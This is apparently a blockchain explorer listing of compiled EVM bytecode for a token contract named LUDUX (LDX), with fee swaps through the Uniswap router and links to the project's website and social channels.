16815250508152602001866040518060e00160405290815f82015f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201600f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201601e9054906101000a900461ffff1661ffff1661ffff168152505081526020015f61ffff1681526020015f6effffffffffffffffffffffffffffff1681526020015f6effffffffffffffffffffffffffffff168152602001895f015f9054906101000a900460ff16151581526020015f6effffffffffffffffffffffffffffff1681526020014364ffffffffff1681526020016040518060a001604052805f6001811115611d2b57611d2b614b5e565b6001811115611d3c57611d3c614b5e565b81526020015f81526020015f81526020015f815260e08b0151602090910152905291906131d8565b73ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000165f90815260048701602052604090209091506001610120830151516001811115611dc757611dc7614b5e565b03611e3f576001826101200151606001516002811115611de957611de9614b5e565b14158015611e0b57505f82608001516effffffffffffffffffffffffffffff16115b15611e2157611e1f848284608001516133bd565b505b611e3084848460a001516134a7565b60019650505050505050610d8b565b6001826101200151606001516002811115611e5c57611e5c614b5e565b14158015611e7e57505f82608001516effffffffffffffffffffffffffffff16115b15611fa757611e92848284608001516133bd565b506001826101200151602001516002811115611eb057611eb0614b5e565b14158015611ec45750611ec4856002612fbd565b15611fa7576002826101200151604001516003811115611ee657611ee6614b5e565b14611f4b57608082015184546effffffffffffffffffffffffffffff6f010000000000000000000000000000008083048216909301169091027fffff000000000000000000000000000000ffffffffffffffffffffffffffffff909116178455611fa7565b608082015183546effffffffffffffffffffffffffffff6f010000000000000000000000000000008083048216909301169091027fffff000000000000000000000000000000ffffffffffffffffffffffffffffff9091161783555b611fb1855f612fbd565b1561240a577f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db154602086015161ffff62010000909204821691161061204f577f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff8116620100009182900461ffff908116600101169091021790555b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db154602086015161ffff6201000090920482169116036122a8577f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db15462010000900461ffff166120dc7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b600201805461ffff9290921662010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff9092169190911790556101906121417f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b60030180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00001661ffff9290921691909117905561019061219f7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b600301805461ffff9290921662010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff9092169190911790555f6122027f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b600301805461ffff92909216640100000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff90921691909117905560016122687f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b805461ffff620100008083048216909401169092027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffff9092169190911790555b6040805160e08101825284546effffffffffffffffffffffffffffff80821683526f0100000000000000000000000000000082041660208301527e010000000000000000000000000000000000000000000000000000000000009081900460ff1692820192909252600185015464ffffffffff80821660608401526501000000000082041660808301526a0100000000000000000000810473ffffffffffffffffffffffffffffffffffffffff1660a08301529190910461ffff1660c08201526123719061356a565b61240a57604082015151608083015160a080850151908801519101906effffffffffffffffffffffffffffff90811682840190911611156124075760a08701516040517f4c97ce530000000000000000000000000000000000000000000000000000000081526effffffffffffffffffffffffffffff918216600482015281831660248201529083166044820152606401610d4d565b50505b600282610120015160200151600281111561242757612427614b5e565b03612b3457612437856005612fbd565b61246d576040517f12f1f92300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600382610120015160400151600381111561248a5761248a614b5e565b036127a35761249a856001612fbd565b15612553576101008201805164ffffffffff9081165f90815260068901602052604080822080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008116600160ff92831601821617909155935190921681522054606087015190821691168111156125515760608601516040517f539940b600000000000000000000000000000000000000000000000000000000815260ff91821660048201529082166024820152604401610d4d565b505b608082015160a0830151825461257d926effffffffffffffffffffffffffffff909116918861357f565b6effffffffffffffffffffffffffffff1660e083015261259e856006612fbd565b80156125be57505f8260e001516effffffffffffffffffffffffffffff16115b156127a3576127a38260e001516effffffffffffffffffffffffffffff1687600101600c9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661279060048a600201604051806101000160405290815f82015f9054906101000a900461ffff1661ffff1661ffff1681526020015f820160029054906101000a900461ffff1661ffff1661ffff1681526020015f820160049054906101000a900461ffff1661ffff1661ffff1681526020015f820160069054906101000a900460ff1660ff1660ff1681526020015f820160079054906101000a900460ff1660ff1660ff1681526020015f820160089054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f820160179054906101000a900462ffffff1662ffffff1662ffffff168152602001600182016040518060600160405290815f82015f9054906101000a900461ffff1661ffff1661ffff1681526020015f820160029054906101000a900461ffff1661ffff1661ffff1681526020015f820160049054906101000a900461ffff1661ffff1661ffff168152505081525050612fbd90919063ffffffff16565b8954640100000000900461ffff16613649565b6127ae856008612fbd565b15612b34576040805160e08101825285546effffffffffffffffffffffffffffff80821683526f0100000000000000000000000000000082041660208301527e010000000000000000000000000000000000000000000000000000000000009081900460ff1692820192909252600186015464ffffffffff80821660608401526501000000000082041660808301526a0100000000000000000000810473ffffffffffffffffffffffffffffffffffffffff1660a08301529190910461ffff1660c082015261287c90613dfb565b80156128a2575060038261012001516040015160038111156128a0576128a0614b5e565b145b1561297657835460ff7e010000000000000000000000000000000000000000000000000000000000009091048116101561292f578354600160ff7e0100000000000000000000000000000000000000000000000000000000000080840482169290920116027fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161784555b6080850151845460ff9182167e01000000000000000000000000000000000000000000000000000000000000909104909116036129715761296f84613e52565b505b612b34565b6040805160e08101825284546effffffffffffffffffffffffffffff80821683526f0100000000000000000000000000000082041660208301527e010000000000000000000000000000000000000000000000000000000000009081900460ff1692820192909252600185015464ffffffffff80821660608401526501000000000082041660808301526a0100000000000000000000810473ffffffffffffffffffffffffffffffffffffffff1660a08301529190910461ffff1660c0820152612a3f90613dfb565b8015612a6557506002826101200151604001516003811115612a6357612a63614b5e565b145b15612b3457825460ff7e0100000000000000000000000000000000000000000000000000000000000090910481161015612af2578254600160ff7e0100000000000000000000000000000000000000000000000000000000000080840482169290920116027fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161783555b6080850151835460ff9182167e0100000000000000000000000000000000000000000000000000000000000090910490911603612b3457612b3283613e52565b505b612b4384848460a001516134a7565b5060019998505050505050505050565b6040805173ffffffffffffffffffffffffffffffffffffffff8416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb0000000000000000000000000000000000000000000000000000000017905261135c908490613eaf565b73ffffffffffffffffffffffffffffffffffffffff82165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db56020526040902080547f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db191906effffffffffffffffffffffffffffff1680841115612cad576040517fcf4791810000000000000000000000000000000000000000000000000000000081526effffffffffffffffffffffffffffff8216600482015260248101859052604401610d4d565b81547fffffffffffffffffffffffffffffffffff00000000000000000000000000000081166bffffffffffffffffffffffff8681166effffffffffffffffffffffffffffff938416039092161783556001840180547fffffffffffffffffffffffffffffffffffffffff00000000000000000000000081169083168790039092169190911790556040518481525f9073ffffffffffffffffffffffffffffffffffffffff8716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b8051602082015190555f6001610f2f565b5f805473ffffffffffffffffffffffffffffffffffffffff8381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e0810191909152612f2d906005612fbd565b15612f94576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610d4d565b61133e7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1613f54565b5f610d8b826008811115612fd357612fd3614b5e565b845161ffff1660ff9091161c60019081161490565b5f303303613048575f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f9201919091525050505036015173ffffffffffffffffffffffffffffffffffffffff16915061304b9050565b50335b90565b5f61134a613f96565b73ffffffffffffffffffffffffffffffffffffffff8181165f908152600484016020908152604091829020825160e08101845281546effffffffffffffffffffffffffffff80821683526f01000000000000000000000000000000820416938201939093527e010000000000000000000000000000000000000000000000000000000000009283900460ff1693810193909352600181015464ffffffffff80821660608601526501000000000082041660808501526a0100000000000000000000810490941660a0840152920461ffff1660c08201526131369061401d565b610925576001810180547fffff0000000000000000000000000000000000000000ffffffffffffffffffff166a010000000000000000000073ffffffffffffffffffffffffffffffffffffffff85160217908190557e01000000000000000000000000000000000000000000000000000000000000900461ffff1660021781600101601e6101000a81548161ffff021916908361ffff16021790555092915050565b61330b6040805161022081019091525f6101408201818152610160830182905261018083018290526101a083018290526101c083018290526101e08301829052610200830191909152819081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081525f6020820181905260408201819052606082018190526080820181905260a0820181905260c082015260e00161463a6040805160a08101909152805f81526020015f81526020015f81526020015f8152604080516060810182525f80825260208281018290529282015291015290565b6020840151516effffffffffffffffffffffffffffff1682111561337c576020840151516040517fcf4791810000000000000000000000000000000000000000000000000000000081526effffffffffffffffffffffffffffff909116600482015260248101839052604401610d4d565b6133868484614031565b5060608401516133979083906143dd565b6effffffffffffffffffffffffffffff90811660a0870152166080850152509192915050565b82547fffffffffffffffffffffffffffffffffff0000000000000000000000000000008082166effffffffffffffffffffffffffffff92831684900383161785558354908116908216830182161783556001838101549085015460405192841683525f926a01000000000000000000009283900473ffffffffffffffffffffffffffffffffffffffff90811693909204909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35f826effffffffffffffffffffffffffffff161161349c575f61349f565b60015b949350505050565b82547fffffffffffffffffffffffffffffffffff0000000000000000000000000000008082166effffffffffffffffffffffffffffff92831684900383161785558354908116908216830182161783556001838101549085015460405192841683526a01000000000000000000009182900473ffffffffffffffffffffffffffffffffffffffff908116939290910416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505050565b60c08101515f90600a1c600190811614610f2f565b8361358b826007612fbd565b1561349f576effffffffffffffffffffffffffffff848401811690808516820190808716830190881682116135c25781935061363e565b876effffffffffffffffffffffffffffff1681116135e25780935061363e565b876effffffffffffffffffffffffffffff1683116136025782935061363e565b876effffffffffffffffffffffffffffff16866effffffffffffffffffffffffffffff16116136335785935061363e565b87935050505061349f565b505050949350505050565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790555f612710848480156136a857505f8461ffff16115b156136eb5760028261ffff168561ffff168902816136c8576136c8614971565b04816136d6576136d6614971565b049250600261ffff8516048203915082870396505b60408051600280825260608201835273ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001631925f9291906020830190803683370190505090507f0000000000000000000000000000000000000000000000000000000000000000815f8151811061377957613779614b8b565b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613810573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906138349190614bb8565b8160018151811061384757613847614b8b565b73ffffffffffffffffffffffffffffffffffffffff909216602092830291909101909101526040517f791ac947000000000000000000000000000000000000000000000000000000008152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906138e4908c905f9086907f0000000000000000000000000000000000000000000000000000000000000000904290600401614bd3565b5f604051808303815f87803b1580156138fb575f80fd5b505af115801561390d573d5f803e3d5ffd5b505050505f827f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16316139559190614c5e565b90505f7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1600801805480602002602001604051908101604052809291908181526020015f905b82821015613a92578382905f5260205f2090600202016040518060600160405290815f820180546139cb90614c71565b80601f01602080910402602001604051908101604052809291908181526020018280546139f790614c71565b8015613a425780601f10613a1957610100808354040283529160200191613a42565b820191905f5260205f20905b815481529060010190602001808311613a2557829003601f168201915b505050918352505060019182015461ffff81166020808401919091526201000090910473ffffffffffffffffffffffffffffffffffffffff1660409092019190915291835292909201910161399b565b505082519293505081159050613c13575f5b81811015613c11575f838281518110613abf57613abf614b8b565b60200260200101516020015161ffff161115613c09575f8861ffff16848381518110613aed57613aed614b8b565b60200260200101516020015161ffff16860281613b0c57613b0c614971565b0490505f73ffffffffffffffffffffffffffffffffffffffff16848381518110613b3857613b38614b8b565b60200260200101516040015173ffffffffffffffffffffffffffffffffffffffff1603613ba55760405173ffffffffffffffffffffffffffffffffffffffff89169082156108fc029083905f818181858888f19350505050158015613b9f573d5f803e3d5ffd5b50613c07565b838281518110613bb757613bb7614b8b565b60200260200101516040015173ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015613c05573d5f803e3d5ffd5b505b505b600101613aa4565b505b8715613d33575f60028861ffff168b61ffff16860281613c3557613c35614971565b0481613c4357613c43614971565b6040517ff305d71900000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000000000000000000000000000000000000000000081166004830152602482018d90525f6044830181905260648301528a1660848201524260a48201529190049150737a250d5630b4cf539739df2c5dacb4c659f2488d9063f305d71990839060c40160606040518083038185885af1158015613d09573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190613d2e91906149f0565b505050505b60405173ffffffffffffffffffffffffffffffffffffffff808816917f00000000000000000000000000000000000000000000000000000000000000009091163180156108fc02915f818181858888f19350505050158015613d97573d5f803e3d5ffd5b5050505050505050505f613dc87f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001691151591909117905550505050565b5f816060015164ffffffffff16826080015164ffffffffff1610158015613e2c57505f826060015164ffffffffff16115b15610f3257600561ffff16826060015183608001510364ffffffffff1611159050919050565b6001810180547e0100000000000000000000000000000000000000000000000000000000000080820461ffff16600417027dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9091161790555f81610f2f565b5f8060205f8451602086015f885af180613ece576040513d5f823e3d81fd5b50505f513d91508115613ee5578060011415613eff565b73ffffffffffffffffffffffffffffffffffffffff84163b155b15613f4e576040517f5274afe700000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff85166004820152602401610d4d565b50505050565b6002810180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0000811661ffff9182166020189091169081179091555f90610921565b335f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db5602052805460408220600101547f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1919061400060f09190911c9081166180009091161715158061400a578193505b60018103614017575f5193505b50505090565b60c08101515f90600190811c811614610f2f565b6141646040805161022081019091525f6101408201818152610160830182905261018083018290526101a083018290526101c083018290526101e08301829052610200830191909152819081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081526040805160e0810182525f8082526020828101829052928201819052606082018190526080820181905260a0820181905260c082015291019081525f6020820181905260408201819052606082018190526080820181905260a0820181905260c082015260e00161463a6040805160a08101909152805f81526020015f81526020015f81526020015f8152604080516060810182525f80825260208281018290529282015291015290565b8260c00151156141bd576040805160a081019091528060018152602001600181526020016001815260200160018152604080516060810182525f8082526020828101829052928201529101526101208401525081610925565b610120830180515f60409091018190529051602001526141dc8361441d565b6141e6575f6141e9565b60015b61012084015190600181111561420157614201614b5e565b9081600181111561421457614214614b5e565b9052506142208361451e565b156142775761012083015160016060918201526040805180830182525f80825260208083018290529183018190528251938401835280845290830181905290820152610120840151608001525f60608401526142fd565b610120830180515f60609091015260e083015190516080015261429b826008612fbd565b80156142ab57506142ab8361453f565b156142fd57610120830180516002606091820152604084810151815180840183525f8082526020808301829052918401528251938401835261ffff909116808452908301819052908201529051608001525b610120830151608001516040015161ffff16606084015260208301516143229061356a565b806143355750614335836040015161356a565b156143d65761012083015160026020918201528301516143549061356a565b15614395576101208301805160026040918201526101008501519085015164ffffffffff9091166060918201529051608001515161ffff16908401526143cf565b61012083018051600360409091015261010084015160208086015164ffffffffff90921660809283015291510151015161ffff1660608401525b5081610925565b5090919050565b5f808261ffff165f036143f457505f905082614416565b505061271061ffff82168302046effffffffffffffffffffffffffffff811683035b9250929050565b604080516003808252608082019092525f91829190816020015b6040805160e0810182525f8082526020808301829052928201819052606082018190526080820181905260a0820181905260c082015282527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff909201910181614437579050509050825f0151815f815181106144b5576144b5614b8b565b60200260200101819052508260200151816001815181106144d8576144d8614b8b565b60200260200101819052508260400151816002815181106144fb576144fb614b8b565b602002602001018190525061450f81614560565b80610d8b5750505060c0015190565b5f61452c82602001516145ad565b80610f2f5750610f2f82604001516145ad565b5f61454d82602001516145d6565b80610f2f5750610f2f82604001516145d6565b80515f90815b818110156145a65761459084828151811061458357614583614b8b565b60200260200101516145eb565b1561459e57600192506145a6565b600101614566565b5050919050565b60c08101515f90600b1c60019081161480610f2f575060c0820151600b1c600190811614610f2f565b60c08101515f9060021c600190811614610f2f565b5f600c5b600c8160ff1610158015614606575060108160ff16105b156146345760c083015161ffff1660ff82161c60019081160361462c5750600192915050565b6001016145ef565b50919050565b905290565b5f602080835283518060208501525f5b8181101561466b5785810183015185820160400152820161464f565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b73ffffffffffffffffffffffffffffffffffffffff8116811461133e575f80fd5b5f80604083850312156146db575f80fd5b82356146e6816146a9565b946020939093013593505050565b5f60208284031215614704575f80fd5b813561ffff81168114610d8b575f80fd5b5f60208284031215614725575f80fd5b5035919050565b5f805f6060848603121561473e575f80fd5b8335614749816146a9565b92506020840135614759816146a9565b929592945050506040919091013590565b5f6040828403121561477a575f80fd5b82601f830112614788575f80fd5b6040516040810181811067ffffffffffffffff821117156147d0577f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b80604052508060408401858111156147e6575f80fd5b845b818110156148005780358352602092830192016147e8565b509195945050505050565b5f6020828403121561481b575f80fd5b8135610d8b816146a9565b5f6101408201905061ffff8084511683528060208501511660208401528060408501511660408401525060ff606084015116606083015260ff608084015116608083015260a083015161488c60a08401826effffffffffffffffffffffffffffff169052565b5060c08301516148a360c084018262ffffff169052565b5060e08301516148d360e0840182805161ffff908116835260208083015182169084015260409182015116910152565b5092915050565b5f80604083850312156148eb575f80fd5b82356148f6816146a9565b91506020830135614906816146a9565b809150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b6effffffffffffffffffffffffffffff81811683821602808216919082811461496957614969614911565b505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6effffffffffffffffffffffffffffff808416806149e4577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b92169190910492915050565b5f805f60608486031215614a02575f80fd5b8351925060208401519150604084015190509250925092565b600181815b80851115614a7457817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115614a5a57614a5a614911565b80851615614a6757918102915b93841c9390800290614a20565b509250929050565b5f82614a8a57506001610925565b81614a9657505f610925565b8160018114614aac5760028114614ab657614ad2565b6001915050610925565b60ff841115614ac757614ac7614911565b50506001821b610925565b5060208310610133831016604e8410600b8410161715614af5575081810a610925565b614aff8383614a1b565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04821115614b3157614b31614911565b029392505050565b5f610d8b60ff841683614a7c565b808202811582820484141761092557610925614911565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f60208284031215614bc8575f80fd5b8151610d8b816146a9565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015614c3057845173ffffffffffffffffffffffffffffffffffffffff1683529383019391830191600101614bfe565b505073ffffffffffffffffffffffffffffffffffffffff969096166060850152505050608001529392505050565b8181038181111561092557610925614911565b600181811c90821680614c8557607f821691505b602082108103614634577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffdfe68747470733a2f2f6c756475782e6f6e6c696e652f66696c65732f7770617065722e706466a26469706673582212205b65ad76891f39e4db2926ab6e355b47cf4bf299d86349417395f687aa3af6a364736f6c63430008180033

Deployed Bytecode

0x6080604052600436106101b2575f3560e01c8063715018a6116100e7578063a9059cbb11610087578063d6a581c311610062578063d6a581c31461067b578063d79cda6c1461069c578063dd62ed3e1461087f578063f2fde38b146108ef575f80fd5b8063a9059cbb1461059d578063ace3a8a7146105bc578063b93050b914610615575f80fd5b80638a8c523c116100c25780638a8c523c146104af5780638da5cb5b146104c357806395d89b4114610513578063a3d80bae14610558575f80fd5b8063715018a61461044257806381b3dcf1146104565780638a1c66201461046a575f80fd5b8063313ce5671161015257806342966c681161012d57806342966c6814610372578063573fb1ba14610391578063620f6a76146103b257806370a08231146103d1575f80fd5b8063313ce56714610324578063378dc3dc1461033f5780633f10270614610353575f80fd5b80630ff754ea1161018d5780630ff754ea1461025657806318160ddd1461029b5780631c0622f2146102e657806323b872dd14610305575f80fd5b806306fdde03146101bd578063095ea7b3146102145780630b5b2dbe14610243575f80fd5b366101b957005b5f80fd5b3480156101c8575f80fd5b5060408051808201909152600581527f4c5544555800000000000000000000000000000000000000000000000000000060208201525b60405161020b919061463f565b60405180910390f35b34801561021f575f80fd5b5061023361022e3660046146ca565b61090e565b604051901515815260200161020b565b6102336102513660046146f4565b61092b565b348015610261575f80fd5b5060408051808201909152601b81527f68747470733a2f2f6c756475782e6f6e6c696e652f706f7274616c000000000060208201526101fe565b3480156102a6575f80fd5b507f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db2546bffffffffffffffffffffffff165b60405190815260200161020b565b3480156102f1575f80fd5b50610233610300366004614715565b610ba9565b348015610310575f80fd5b5061023361031f36600461472c565b610c64565b34801561032f575f80fd5b506040516012815260200161020b565b34801561034a575f80fd5b506102d8610d92565b34801561035e575f80fd5b5061023361036d3660046146ca565b610daf565b34801561037d575f80fd5b5061023361038c366004614715565b610ec7565b34801561039c575f80fd5b506103b06103ab366004614715565b610ee1565b005b3480156103bd575f80fd5b506102336103cc36600461476a565b610f1d565b3480156103dc575f80fd5b506102d86103eb36600461480b565b73ffffffffffffffffffffffffffffffffffffffff165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db560205260409020546effffffffffffffffffffffffffffff1690565b34801561044d575f80fd5b506103b0610f37565b348015610461575f80fd5b506101fe610f4a565b348015610475575f80fd5b5060408051808201909152601981527f68747470733a2f2f742e6d652f6c756475786368616e6e656c0000000000000060208201526101fe565b3480156104ba575f80fd5b506103b0610f6a565b3480156104ce575f80fd5b505f546104ee9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161020b565b34801561051e575f80fd5b5060408051808201909152600381527f4c4458000000000000000000000000000000000000000000000000000000000060208201526101fe565b348015610563575f80fd5b5060408051808201909152601881527f68747470733a2f2f782e636f6d2f6c75647578776f726c64000000000000000060208201526101fe565b3480156105a8575f80fd5b506102336105b73660046146ca565b610f7a565b3480156105c7575f80fd5b507f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff166104ee565b348015610620575f80fd5b50610629610f8d565b604080519915158a5297151560208a01529515159688019690965292151560608701529015156080860152151560a0850152151560c084015290151560e083015215156101008201526101200161020b565b348015610686575f80fd5b5061068f611117565b60405161020b9190614826565b3480156106a7575f80fd5b506107eb6106b636600461480b565b6040805160e0810182525f80825260208201819052918101829052606081018290526080810182905260a0810182905260c08101919091527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db173ffffffffffffffffffffffffffffffffffffffff9283165f9081526004919091016020908152604091829020825160e08101845281546effffffffffffffffffffffffffffff80821683526f01000000000000000000000000000000820416938201939093527e010000000000000000000000000000000000000000000000000000000000009283900460ff16938101939093526001015464ffffffffff80821660608501526501000000000082041660808401526a0100000000000000000000810490941660a083015290920461ffff1660c08301525090565b60405161020b91905f60e0820190506effffffffffffffffffffffffffffff8084511683528060208501511660208401525060ff6040840151166040830152606083015164ffffffffff8082166060850152806080860151166080850152505073ffffffffffffffffffffffffffffffffffffffff60a08401511660a083015261ffff60c08401511660c083015292915050565b34801561088a575f80fd5b506102d86108993660046148da565b73ffffffffffffffffffffffffffffffffffffffff9182165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db86020908152604080832093909416825291909152205490565b3480156108fa575f80fd5b506103b061090936600461480b565b61128a565b5f61092161091a611341565b848461134f565b5060015b92915050565b5f610934611361565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905573ffffffffffffffffffffffffffffffffffffffff7f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b83165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db5602052604081205461271090610a069061ffff8616906effffffffffffffffffffffffffffff1661493e565b610a10919061499e565b6effffffffffffffffffffffffffffff169050737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d719347f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b83845f807f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db16001015460405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff95861660048201526024810194909452604484019290925260648301526c01000000000000000000000000900490911660848201524260a482015260c40160606040518083038185885af1158015610b22573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b4791906149f0565b50505060019150505f610b777f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055919050565b5f815f03610bee577f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b8373ffffffffffffffffffffffffffffffffffffffff1631610bf0565b815b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db2546040519193506c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff16906108fc8415029084905f818181858888f19350505050158015610921573d5f803e3d5ffd5b5f80610c6e611341565b73ffffffffffffffffffffffffffffffffffffffff8681165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db860209081526040808320938516835292905220549091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d785780841115610d56576040517f91beda2400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff80841660048301528716602482015260448101829052606481018590526084015b60405180910390fd5b5f848211610d64575f610d68565b8482035b9050610d768784835f611404565b505b610d838686866115e5565b506001925050505b9392505050565b610d9e6012600a614b39565b610dac906301406f40614b47565b81565b5f7f000000000000000000000000047c44e10545e0d4e20c60e98e6a4fcc00dc2b8373ffffffffffffffff